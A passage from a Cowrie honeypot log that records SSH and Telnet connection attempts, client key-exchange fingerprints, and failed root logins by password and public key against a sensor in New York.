roup14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:17.058439Z","src_ip":"192.169.250.238","session":"01daf7fd3ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magic7","message":"login attempt [root/magic7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:17.381059Z","src_ip":"192.169.250.238","session":"01daf7fd3ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:17.706861Z","src_ip":"43.153.31.20","session":"564720cb6770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:18.459843Z","src_ip":"192.169.250.238","session":"01daf7fd3ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41844,"dst_ip":"10.17.0.5","dst_port":23,"session":"f080a32656f3","protocol":"telnet","message":"New connection: 152.42.224.71:41844 (10.17.0.5:23) [session: f080a32656f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:18.570213Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41860,"dst_ip":"10.17.0.5","dst_port":23,"session":"781a2bf83f67","protocol":"telnet","message":"New connection: 152.42.224.71:41860 (10.17.0.5:23) [session: 781a2bf83f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:19.210603Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":53338,"dst_ip":"10.17.0.5","dst_port":22,"session":"298dda650de9","protocol":"ssh","message":"New connection: 45.78.230.231:53338 (10.17.0.5:22) [session: 298dda650de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:19.474620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.380874Z","src_ip":"45.78.230.231","session":"298dda650de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.141.57.35","src_port":44076,"dst_ip":"10.17.0.5","dst_port":22,"session":"33020e9cb86c","protocol":"ssh","message":"New connection: 209.141.57.35:44076 (10.17.0.5:22) [session: 33020e9cb86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.606469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.611469Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.623011Z","src_ip":"45.78.230.231","session":"298dda650de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.678438Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:f8:36:49:46:11:3e:4b:f2:ba:9a:c2:41:e3:76:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr24t0KMVWYyYg5dtoUeLtuLHT114ZSnW5r6OQF2IjxiBy+V31JuwIV6WQ4DBWd4E3zKaQMTdr/lZCKSPx+CSshKyF4ghQRMXC9T8YGP9O1shqrdBXdmDyVWv6mbi6fY802Y4iQkLseb2NzwkD1fJYEaLzvC6AYr2yk9n06/4ll4Niljwu+K3y8WHFaQxQDzD8cMK+K13iz9TdbH/9fJxXY2G/tM0MTpXaQJdv5W2p6AjUNCMtJi60l251dHq3Fh+rbmvMFUTAHPNEX755Nfr6cKwLf5vCWU3G0s8ipYrAyKPWl7XFc4NbU53x2/sCynnzchNFGyJaHPzvSJPeAW5v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:f8:36:49:46:11:3e:4b:f2:ba:9a:c2:41:e3:76:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.986658Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:f8:36:49:46:11:3e:4b:f2:ba:9a:c2:41:e3:76:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr24t0KMVWYyYg5dtoUeLtuLHT114ZSnW5r6OQF2IjxiBy+V31JuwIV6WQ4DBWd4E3zKaQMTdr/lZCKSPx+CSshKyF4ghQRMXC9T8YGP9O1shqrdBXdmDyVWv6mbi6fY802Y4iQkLseb2NzwkD1fJYEaLzvC6AYr2yk9n06/4ll4Niljwu+K3y8WHFaQxQDzD8cMK+K13iz9TdbH/9fJxXY2G/tM0MTpXaQJdv5W2p6AjUNCMtJi60l251dHq3Fh+rbmvMFUTAHPNEX755Nfr6cKwLf5vCWU3G0s8ipYrAyKPWl7XFc4NbU53x2/sCynnzchNFGyJaHPzvSJPeAW5v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:21.990621Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:af:8d:4d:32:08:d3:d7:39:e6:92:ab:7a:d6:32:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBp3dwHKOBR5RbmdtWyXcVTbEFAUV0tVmuNVWlGmge4t","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 41:af:8d:4d:32:08:d3:d7:39:e6:92:ab:7a:d6:32:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.060067Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:af:8d:4d:32:08:d3:d7:39:e6:92:ab:7a:d6:32:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBp3dwHKOBR5RbmdtWyXcVTbEFAUV0tVmuNVWlGmge4t","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.064065Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00203514099121,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.114713Z","src_ip":"152.42.224.71","session":"fb821e7b26e8","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:38:a8:49:16:17:bf:f4:99:b8:97:d2:bd:de:fb:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1fQkHgY+HQof3YZbwb5p7dEAODkvaDkykq5/yT3DEjoVcRjDNTWjO4HkhYVuBd6o96Hy4D89RQZYqjQnli5hwags+/9RilVv+CYGAouTbRqnisl01eSa2duykKZLwbOBA2GIjGbnVyGqozCdzDLYQexD8L+ro+B9WEZZMqG3u6adNaRqR/VoueRiEkd5QZAHt013XlR1xOKaEZEaM8t7qnSypxtRINJZMCgFwYVQzCgI3euqY6Po7iuqrMfnk7RNIJSSuVp1t1SCdXQp4Y+vs7sehim9wBPhFpbRLxwZMZdFBbBWaNZo/1hu0HCrZZafMVTbGsQX3OPPutc3FRkt9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:38:a8:49:16:17:bf:f4:99:b8:97:d2:bd:de:fb:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.131629Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:38:a8:49:16:17:bf:f4:99:b8:97:d2:bd:de:fb:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1fQkHgY+HQof3YZbwb5p7dEAODkvaDkykq5/yT3DEjoVcRjDNTWjO4HkhYVuBd6o96Hy4D89RQZYqjQnli5hwags+/9RilVv+CYGAouTbRqnisl01eSa2duykKZLwbOBA2GIjGbnVyGqozCdzDLYQexD8L+ro+B9WEZZMqG3u6adNaRqR/VoueRiEkd5QZAHt013XlR1xOKaEZEaM8t7qnSypxtRINJZMCgFwYVQzCgI3euqY6Po7iuqrMfnk7RNIJSSuVp1t1SCdXQp4Y+vs7sehim9wBPhFpbRLxwZMZdFBbBWaNZo/1hu0HCrZZafMVTbGsQX3OPPutc3FRkt9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.136030Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:65:90:ee:3e:16:43:ea:c7:d4:bd:de:3b:c5:c4:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCufMSPBTEuS4K/gzoIvoJHkXWgLKwC47uAtdxvztp+1TOoAQ13lNfncQHg4lSfS65QAC1ExBxq8OnpzcUisUflCOC/R4Xe5NNzmezBZ28JVz2WPERS35nCOlmNEkkPCkFoz6ztOdGcFMXacTAsOsl8OBhFbzAmHk4xXpGV9OUU3JENrhrMppfCu97njrsOJ98V3N4kOLd0uPqKtwiT4EoUBun0avogI+mn96Mm1GM6QkChGGKuZSKe7+6hjM/UNNnqDegBFnBhLPfsuCm0N/M+1x55qPT5F7/nLgWBkCzvRGyGBmF0WePeImNkr+Gs6ZE2BpVgnKGjhavaHgnwsNTMqtGXEAAXr5EfGBMup977c3R7TMGWW3xwD3fZp0hKYYjS6+zfdPb1yV8hahrqPXNOgL+KRFuVYe4OS0fPsvIbyFQOWLVukWgt8G6mLIf/Zx7B6qhni+JmDUmoV/UeATeyJ0L2l7B+9b+yJ12lSu1Pryedr0n2u/mZWansARVxVXlDhVprQMtLDLQEoePy6Cgsm1LuDNj2uSLXJ2UaIlLEruF5iqUMCqzyIY4NKSaqfpUtjBEuVv7Qyx/qFOht3LQfY3Mn7yAdbx9GKKJU45650gaeqJEes/3j2bRvPbKG1kpwiskT091QDpSDgYsxNn5MVB7gJjTSmyDQgPy2GzFU+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:65:90:ee:3e:16:43:ea:c7:d4:bd:de:3b:c5:c4:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.203801Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:65:90:ee:3e:16:43:ea:c7:d4:bd:de:3b:c5:c4:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCufMSPBTEuS4K/gzoIvoJHkXWgLKwC47uAtdxvztp+1TOoAQ13lNfncQHg4lSfS65QAC1ExBxq8OnpzcUisUflCOC/R4Xe5NNzmezBZ28JVz2WPERS35nCOlmNEkkPCkFoz6ztOdGcFMXacTAsOsl8OBhFbzAmHk4xXpGV9OUU3JENrhrMppfCu97njrsOJ98V3N4kOLd0uPqKtwiT4EoUBun0avogI+mn96Mm1GM6QkChGGKuZSKe7+6hjM/UNNnqDegBFnBhLPfsuCm0N/M+1x55qPT5F7/nLgWBkCzvRGyGBmF0WePeImNkr+Gs6ZE2BpVgnKGjhavaHgnwsNTMqtGXEAAXr5EfGBMup977c3R7TMGWW3xwD3fZp0hKYYjS6+zfdPb1yV8hahrqPXNOgL+KRFuVYe4OS0fPsvIbyFQOWLVukWgt8G6mLIf/Zx7B6qhni+JmDUmoV/UeATeyJ0L2l7B+9b+yJ12lSu1Pryedr0n2u/mZWansARVxVXlDhVprQMtLDLQEoePy6Cgsm1LuDNj2uSLXJ2UaIlLEruF5iqUMCqzyIY4NKSaqfpUtjBEuVv7Qyx/qFOht3LQfY3Mn7yAdbx9GKKJU45650gaeqJEes/3j2bRvPbKG1kpwiskT091QDpSDgYsxNn5MVB7gJjTSmyDQgPy2GzFU+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.207861Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:1f:5d:9f:26:1e:f1:d3:7d:77:0e:15:3c:b3:04:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+s5R5KxBmrP6VW7Sb6fVPB9esdLo745ER3Jac5NiO4wTsfmcVTwdw63PSO/kBfyZaehFIepWRDz8dFuGEB7BksRMSROojbWRYlLCJayojvr85sC55GBXDkHv/MoStknpfYZz0sdXOBWJgEWbqZIkc/+9iISt92TAQhvM6LKzW8i+BL3k/gNimj5V+j3T0VjWoD1+YZMSlzzbPzx3plH9p5BQhuZaBXEsI6as87P8KeelHLKANVXMo9mSQT3ldLkbrGflNZP93WR6ydZJgZVSQ6NBtQ1IyM0FKPOyktj9/IRaW/WVMC0fFHKH5I0CiT0HAN9zf6xW29DIhCzMx5V19w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:1f:5d:9f:26:1e:f1:d3:7d:77:0e:15:3c:b3:04:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.275426Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:1f:5d:9f:26:1e:f1:d3:7d:77:0e:15:3c:b3:04:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+s5R5KxBmrP6VW7Sb6fVPB9esdLo745ER3Jac5NiO4wTsfmcVTwdw63PSO/kBfyZaehFIepWRDz8dFuGEB7BksRMSROojbWRYlLCJayojvr85sC55GBXDkHv/MoStknpfYZz0sdXOBWJgEWbqZIkc/+9iISt92TAQhvM6LKzW8i+BL3k/gNimj5V+j3T0VjWoD1+YZMSlzzbPzx3plH9p5BQhuZaBXEsI6as87P8KeelHLKANVXMo9mSQT3ldLkbrGflNZP93WR6ydZJgZVSQ6NBtQ1IyM0FKPOyktj9/IRaW/WVMC0fFHKH5I0CiT0HAN9zf6xW29DIhCzMx5V19w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.278982Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:22.350384Z","src_ip":"209.141.57.35","session":"33020e9cb86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:24.742394Z","src_ip":"45.78.230.231","session":"298dda650de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61681ae124d","protocol":"telnet","message":"New connection: 152.42.224.71:41864 (10.17.0.5:23) [session: e61681ae124d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:25.558763Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":35608,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa1beb7c2254","protocol":"ssh","message":"New connection: 68.183.236.1:35608 (159.203.135.109:22) [session: aa1beb7c2254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:26.938545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:26.945298Z","src_ip":"68.183.236.1","session":"aa1beb7c2254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:27.199351Z","src_ip":"68.183.236.1","session":"aa1beb7c2254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:28.246012Z","src_ip":"68.183.236.1","session":"aa1beb7c2254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41800,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2031db4c9e4","protocol":"telnet","message":"New connection: 152.42.224.71:41800 (10.17.0.5:23) [session: c2031db4c9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:28.253487Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:29.505354Z","src_ip":"68.183.236.1","session":"aa1beb7c2254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41810,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ef22915ceb","protocol":"telnet","message":"New connection: 152.42.224.71:41810 (10.17.0.5:23) [session: 91ef22915ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:31.903681Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":46968,"dst_ip":"159.203.135.109","dst_port":22,"session":"67ed98600906","protocol":"ssh","message":"New connection: 43.130.35.229:46968 (159.203.135.109:22) [session: 67ed98600906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:34.407105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:34.411714Z","src_ip":"43.130.35.229","session":"67ed98600906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:24:34.629157Z","src_ip":"43.130.35.229","session":"67ed98600906","protocol":"ssh"}
